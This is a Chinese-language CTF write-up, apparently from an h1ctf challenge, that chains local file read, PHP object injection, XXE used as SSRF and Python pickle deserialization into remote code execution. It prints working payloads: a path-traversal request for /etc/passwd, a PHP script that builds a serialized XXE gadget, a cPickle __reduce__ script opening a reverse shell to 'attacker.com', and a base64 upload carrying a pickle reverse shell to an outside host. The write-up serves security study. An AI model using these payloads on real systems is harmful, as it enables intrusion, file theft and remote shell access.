一、前言
本地文件读取,LFR(Local File Read)是一种很常见的Web漏洞,它的危害却有一定的限度,但在LFR的基础上,进行代码审计,结合一系列其他漏洞,则可能产生意想不到的效果。
本篇文章的思路来源于某道CTF题目,主要从LFR开始,结合代码审计发现的其他问题,在一系列bug chains的组合利用之下,最终达到命令执行的效果。
涉及到的漏洞大概有:
- LFR
- PHP对象注入
- XXE(SSRF)
- Python反序列化漏洞(pickle)
二、 漏洞详情
2.1 任意文件读取-LFR
在访问某个站点时,发现该站点存在LFR漏洞,其中某个请求会产生一个文本模板,由于未对请求中的文本路径做限制,从而导致了本地文件读取的问题,其请求片段大致如下:
POST /api/generate.php HTTP/1.1
Host: xxx.com
Connection: close
Content-Length: 72
Accept: */*
Origin: https://xxx.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: https://h1-5411.h1ctf.com/generate.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,de;q=0.8
Cookie: PHPSESSID=
template=../../../../../../etc/passwd&type=text&top-text=ad&bottom-text=asd
然后会得到如下响应:
{
"meme_path": "../data/memes/756c689bcd8268cd3114792ed5a.txt"
}
接下来,通过网页去访问/data/memes/756c689bcd8268cd3114792ed5a.txt
,即可查看到/etc/passwd
的内容。
就是一个简单的LFR漏洞,要想进一步利用,还需要更多信息。
不过,凭借该漏洞,我们可以读取服务端的PHP代码,最开始读取的是config.php
,主要有下面这些文件。
config.php
includes/classes.php
api/generate.php
api/export_memes.php
api/import_memes.php
2.2 PHP Object Injection && XXE
在审计classes.php
时,发现了一个函数parse()
存在XXE漏洞,只要想办法控制config_raw
的内容即可触发。
// 开启了外部实体,存在XXE问题
libxml_disable_entity_loader(false);
// ...
function parse() {
$dom = new DOMDocument();
$dom-> ($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);
$o = simplexml_import_dom($dom);
$this->top_text = $o->top_text;
$this->bottom_text = $o->bottom_text;
// ...
}
但是在我们目前能审计的所有代码中,这个函数所在的类ConfigFile
并没有被初始化,也就是说,这个漏洞暂时无法利用。
到现在为止,我们手上有一个LFR,一个暂无法利用的XXE。
接着审计发现,ConfigFile
类有一个魔术方法__toString()
,这个方法会在打印ConfigFile
实例的时候被调用,值得注意的是,__toString()
方法调用了parse()
函数。
class ConfigFile {
function _construct($url) {
$this->config_raw = file_get_contents($url);
}
// ...
function parse() {
$dom = new DOMDocument();
$dom->loadXML($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);
$o = simplexml_import_dom($dom);
$this->top_text = $o->toptext;
$this->bottom_text = $o->bottomtext;
$this->template = $o->template;
$this->type = $o->type;
}
function __toString() {
// 调用了parse,该函数存在XXE问题
$this->parse();
$debug = "";
$debug .= "Debug Info :\n";
$debug .= "TopText => {$this->top_text}\n";
$debug .= "BottomText => {$this->bottom_text}\n";
$debug .= "Template Location => {$this->template}\n";
$debug .= "Template Type => {$this->type}\n";
return $debug;
}
}
这我们就找到了可能的利用点——即寻找这个类在哪里被打印了。
接着审计代码,发现了一些值得注意的点。如下:
/api/import_memes.php
可以看到,该段代码是将我们请求中的文件上传内容反序列化,显然文件内容用户可控。并且会通过array_merge()
来将反序列化后的内容存储到数组$_SESSION['memes']
中。
<?php
require_once("../includes/config.php");
if (isset($_FILES['f'])) {
$new_memes = unserialize(base64_decode(
file_get_contents($_FILES['f']['tmp_name'])));
$_SESSION['memes'] = array_merge($_SESSION['memes'], $new_memes);
}
header("Location: /memes.php");
?>
/api/export_memes.php
序列化$_SESSION['memes']
并打印。
//export_memes.php
<?php
require_once("../includes/config.php");
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.time().'_export.memepak"');
echo base64_encode(serialize($_SESSION['memes']));
?>
这里有个小问题,就是$_SESSION['memes']是个数组,数组和object不能直接array_merge(),不然会报错,必须把object包裹在一个数组中。这个export的打印就不能利用了。下文触发XXE用的是generate接口。
generate.php
foreach($_SESSION['memes'] as $meme) {
?>
<iframe width="100%" height="450" frameborder="0"
src="<?php echo htmlentities($meme); ?>"></iframe>
<?php
}
}
?>
这段代码会遍历**$_SESSION['memes']
,然后通过echo打印它的每一个value。
综上,我们就有了利用思路,即构造恶意对象+序列化得到payload,然后调用import
接口触发反序列化,再调用generate
接口触发XXE。(也就是对象注入+XXE)
<?php
class ConfigFile{
function __construct($url) {
$this->config_raw = file_get_contents($url);
}
function parse() {
echo "i was called";
$dom = new DOMDocument();
$dom->loadXML ($this->config_raw, LIBXML_NOENT | LIBXML_DTDLOAD);
$o = simplexml_import_dom($dom);
$this->top_text = $o->toptext;
$this->bottom_text = $o->bottomtext;
$this->template = $o->template;
$this->type = $o->type;
}
function __toString() {
$this->parse();
echo $this->template;
return "I am a stirng";
}
}
$obj=new ConfigFile('asd');
$obj->config_raw='<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://127.0.0.1:1337" >]><note><toptext>Tove</toptext><bottomtext>Jani</bottomtext><type>Reminder</type><template>&xxe;</template></note>';
echo base64_encode(serialize(array($obj)));
echo "\n";
执行以上代码获得payload:
调用import接口,触发反序列化。
再调用最开始的generate
获得meme内容,得到如下结果:
Internal Meme Service
Meme Service - Internal Maintenance API - v0.1 (Alpha); API Documentation: Version 0.1 - Endpoints:
/status - View maintenance status;
/update-status Change maintenance status;
Debug: The debug parameter allows debugging;
2.3 Python反序列化漏洞-UnPickling
使用XXE(SSRF)探测服务器端口后发现,1337端口运行着maintenance api
,并且有着/status
和/update-status
两个接口,而且还有一个debug参数,会在请求时给我们更多的信息。
之后发现update-stauts
也接收一个status
参数,用来将模式在off和on之间切换。
利用XXE访问http://127.0.0.1:1337/status?debug=1
,通过generate
查看返回结果。它的返回内容在解码后似乎是一个 Python Pickle 序列化对象。
// 返回结果
Maintenance mode: off | Debug: KGlhcHAKU3RhdHVzCnAxCihkcDIKUydtZXNzYWdlJwpwMwpTJ01haW50ZW5hbmNlIG1vZGU6IG9mZicKcDQKc1MnbWFpbnRlbmFuY2UnCnA1CkkwMApzYi4=
// base64解码后
(iapp
Status
p1
(dp2
S'message'
p3
S'Maintenance mode: off'
p4
sS'maintenance'
p5
I00
Sb.
然后访问/update-status?status=&debug=1
,得到如下返回:
A new status has been loaded. Automatic reloading not implemented yet!
很自然就会想到,利用python pickle反序列化漏洞反弹shell。
所以使用下面的代码来创建一个base64编码的pickle对象,从而将shell反弹到我们的VPS上。
import cPickle
import sys
import base64
DEFAULT_COMMAND = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"attacker.com\",8000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"
class PickleRce(object):
def __reduce__(self):
import os
return (os.system,(DEFAULT_COMMAND,))
print base64.b64encode(cPickle.dumps(PickleRce()))
在VPS中使用nc监听8000端口,然后调用import接口来触发漏洞
POST /api/import_memes.php HTTP/1.1
Host: xxx.com
Cookie: xxx
------WebKitFormBoundaryi9X2MAeAOhvJm616
Content-Disposition: form-data; name="f"; filename="222.memepak"
Content-Type: application/octet-stream
YToxOntpOjA7TzoxMDoiQ29uZmlnRmlsZSI6MTp7czoxMDoiY29uZmlnX3JhdyI7czo2MDI6Ijw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04Ij8+IDwhRE9DVFlQRSBmb28gWzwhRUxFTUVOVCBmb28gQU5ZID48IUVOVElUWSB4eGUgU1lTVEVNICJodHRwOi8vbG9jYWxob3N0OjEzMzcvdXBkYXRlLXN0YXR1cz9zdGF0dXM9WTNCdmMybDRDbk41YzNSbGJRcHdNUW9vVXlkd2VYUm9iMjRnTFdNZ1hDZHBiWEJ2Y25RZ2MyOWphMlYwTEhOMVluQnliMk5sYzNNc2IzTTdjejF6YjJOclpYUXVjMjlqYTJWMEtITnZZMnRsZEM1QlJsOUpUa1ZVTEhOdlkydGxkQzVUVDBOTFgxTlVVa1ZCVFNrN2N5NWpiMjV1WldOMEtDZ2ljbU5sTG1WbElpdzBORE1wS1R0dmN5NWtkWEF5S0hNdVptbHNaVzV2S0Nrc01DazdJRzl6TG1SMWNESW9jeTVtYVd4bGJtOG9LU3d4S1RzZ2IzTXVaSFZ3TWloekxtWnBiR1Z1YnlncExESXBPM0E5YzNWaWNISnZZMlZ6Y3k1allXeHNLRnNpTDJKcGJpOXphQ0lzSWkxcElsMHBPMXduSndwd01ncDBVbkF6Q2k0PSZkZWJ1Zz0xIiA+XT48bm90ZT48dG9wdGV4dD5Ub3ZlPC90b3B0ZXh0Pjxib3R0b210ZXh0Pkphbmk8L2JvdHRvbXRleHQ+PHR5cGU+UmVtaW5kZXI8L3R5cGU+PHRlbXBsYXRlPiZ4eGU7PC90ZW1wbGF0ZT48L25vdGU+Ijt9fQ==
------WebKitFormBoundaryi9X2MAeAOhvJm616--
上述文本解码后是
a:1:{i:0;O:10:"ConfigFile":1:{s:10:"config_raw";s:602:"<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "http://localhost:1337/update-status?status=Y3Bvc2l4CnN5c3RlbQpwMQooUydweXRob24gLWMgXCdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgicmNlLmVlIiw0NDMpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pO1wnJwpwMgp0UnAzCi4=&debug=1" >]><note><toptext>Tove</toptext><bottomtext>Jani</bottomtext><type>Reminder</type><template>&xxe;</template></note>";}}
然后成功在VPS上获取到了反弹过来的shell,顺利在/app目录下读到了flag文件。
三、总结
总结一下整个利用链路吧。
这个站点整个的漏洞利用,是首先有一个很容易发现的任意文件读取,通过该漏洞,我们读取到了服务端的部分源码文件,进一步审计代码,发现了XXE漏洞。
这里XXE利用有点tricky,要结合PHP的对象注入和网站具体功能才能触发。
之后利用XXE来探测服务器端口,通过返回的详情发现了1337端口的服务存在python反序列化漏洞,利用这个可以反弹shell。之后再结合XXE来打1337端口的服务,就可以成功getshell。